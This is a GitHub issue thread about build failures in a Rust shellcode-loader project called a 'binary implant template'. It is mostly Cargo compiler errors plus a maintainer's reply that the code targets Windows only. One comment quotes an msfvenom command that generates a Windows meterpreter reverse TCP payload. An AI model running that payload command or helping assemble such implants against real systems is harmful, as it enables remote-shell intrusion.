rust-shellcode icon indicating copy to clipboard operation
rust-shellcode copied to clipboard

binary implant template

Open sec13b opened this issue 1 year ago • 2 comments

cargo r      
   Compiling create_thread v0.1.0 (/home/kali/rust-shellcode/create_thread)
warning: unused import: `std::mem::transmute`
 --> create_thread/src/main.rs:1:5
  |
1 | use std::mem::transmute;
  |     ^^^^^^^^^^^^^^^^^^^
  |
  = note: `#[warn(unused_imports)]` on by default

warning: unused imports: `copy`, `null_mut`, and `null`
 --> create_thread/src/main.rs:2:16
  |
2 | use std::ptr::{copy, null, null_mut};
  |                ^^^^  ^^^^  ^^^^^^^^

warning: unused imports: `FALSE`, `GetLastError`, and `WAIT_FAILED`
 --> create_thread/src/main.rs:3:38
  |
3 | use windows_sys::Win32::Foundation::{GetLastError, FALSE, WAIT_FAILED};
  |                                      ^^^^^^^^^^^^  ^^^^^  ^^^^^^^^^^^

warning: unused imports: `MEM_COMMIT`, `MEM_RESERVE`, `PAGE_EXECUTE`, `PAGE_READWRITE`, `VirtualAlloc`, and `VirtualProtect`
 --> create_thread/src/main.rs:5:5
  |
5 |     VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE,
  |     ^^^^^^^^^^^^  ^^^^^^^^^^^^^^  ^^^^^^^^^^  ^^^^^^^^^^^  ^^^^^^^^^^^^  ^^^^^^^^^^^^^^

warning: unused imports: `CreateThread` and `WaitForSingleObject`
 --> create_thread/src/main.rs:7:45
  |
7 | use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject};
  |                                             ^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^

error[E0601]: `main` function not found in crate `create_thread`
  --> create_thread/src/main.rs:41:2
   |
41 | }
   |  ^ consider adding a `main` function to `create_thread/src/main.rs`

For more information about this error, try `rustc --explain E0601`.
warning: `create_thread` (bin "create_thread") generated 5 warnings
error: could not compile `create_thread` (bin "create_thread") due to 1 previous error; 5 warnings emitted
                                                                                                                      

sec13b avatar Oct 09 '24 02:10 sec13b

┌──(kali㉿kali)-[~/rust-shellcode]
└─$ cargo build --release

  Downloaded either v1.8.1
  Downloaded libloading v0.8.0
  Downloaded memoffset v0.8.0
  Downloaded autocfg v1.1.0
  Downloaded scopeguard v1.1.0
  Downloaded num_cpus v1.15.0
  Downloaded crossbeam-deque v0.8.3
  Downloaded once_cell v1.17.1
  Downloaded crossbeam-epoch v0.9.14
  Downloaded memmap2 v0.6.2
  Downloaded crossbeam-utils v0.8.15
  Downloaded rayon-core v1.11.0
  Downloaded crossbeam-channel v0.5.8
  Downloaded rayon v1.7.0
  Downloaded libc v0.2.147
  Downloaded sysinfo v0.29.4
  Downloaded 16 crates (1.4 MB) in 1.73s
   Compiling autocfg v1.1.0
   Compiling windows_x86_64_gnu v0.48.0
   Compiling cfg-if v1.0.0
   Compiling libc v0.2.147
   Compiling crossbeam-utils v0.8.15
   Compiling windows-targets v0.48.1
   Compiling windows-sys v0.48.0
   Compiling memoffset v0.8.0
   Compiling crossbeam-epoch v0.9.14
   Compiling scopeguard v1.1.0
   Compiling rayon-core v1.11.0
   Compiling num_cpus v1.15.0
   Compiling crossbeam-channel v0.5.8
   Compiling crossbeam-deque v0.8.3
   Compiling either v1.8.1
   Compiling once_cell v1.17.1
   Compiling libloading v0.8.0
   Compiling memmap2 v0.6.2
   Compiling create_thread_native v0.1.0 (/home/kali/rust-shellcode/create_thread_native)
warning: unused imports: `Library` and `Symbol`
 --> create_thread_native/src/main.rs:1:18
  |
1 | use libloading::{Library, Symbol};
  |                  ^^^^^^^  ^^^^^^
  |
  = note: `#[warn(unused_imports)]` on by default

warning: unused import: `std::ffi::c_void`
 --> create_thread_native/src/main.rs:2:5
  |
2 | use std::ffi::c_void;
  |     ^^^^^^^^^^^^^^^^

warning: unused imports: `null_mut` and `null`
 --> create_thread_native/src/main.rs:3:16
  |
3 | use std::ptr::{null, null_mut};
  |                ^^^^  ^^^^^^^^

error[E0601]: `main` function not found in crate `create_thread_native`
  --> create_thread_native/src/main.rs:75:2
   |
75 | }
   |  ^ consider adding a `main` function to `create_thread_native/src/main.rs`

For more information about this error, try `rustc --explain E0601`.
warning: `create_thread_native` (bin "create_thread_native") generated 3 warnings
error: could not compile `create_thread_native` (bin "create_thread_native") due to 1 previous error; 3 warnings emitted
warning: build failed, waiting for other jobs to finish...
                                                                                                                      

sec13b avatar Oct 09 '24 02:10 sec13b

replace w64-exec-calc-shellcode-func.bin with msf.bin same error.

i use : msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=80 EXITFUNC=thread -f raw -o msf.bin

sec13b avatar Oct 09 '24 02:10 sec13b

#[cfg(target_os = "windows")] means you can only build it for windows target.

b1nhack avatar Oct 09 '24 13:10 b1nhack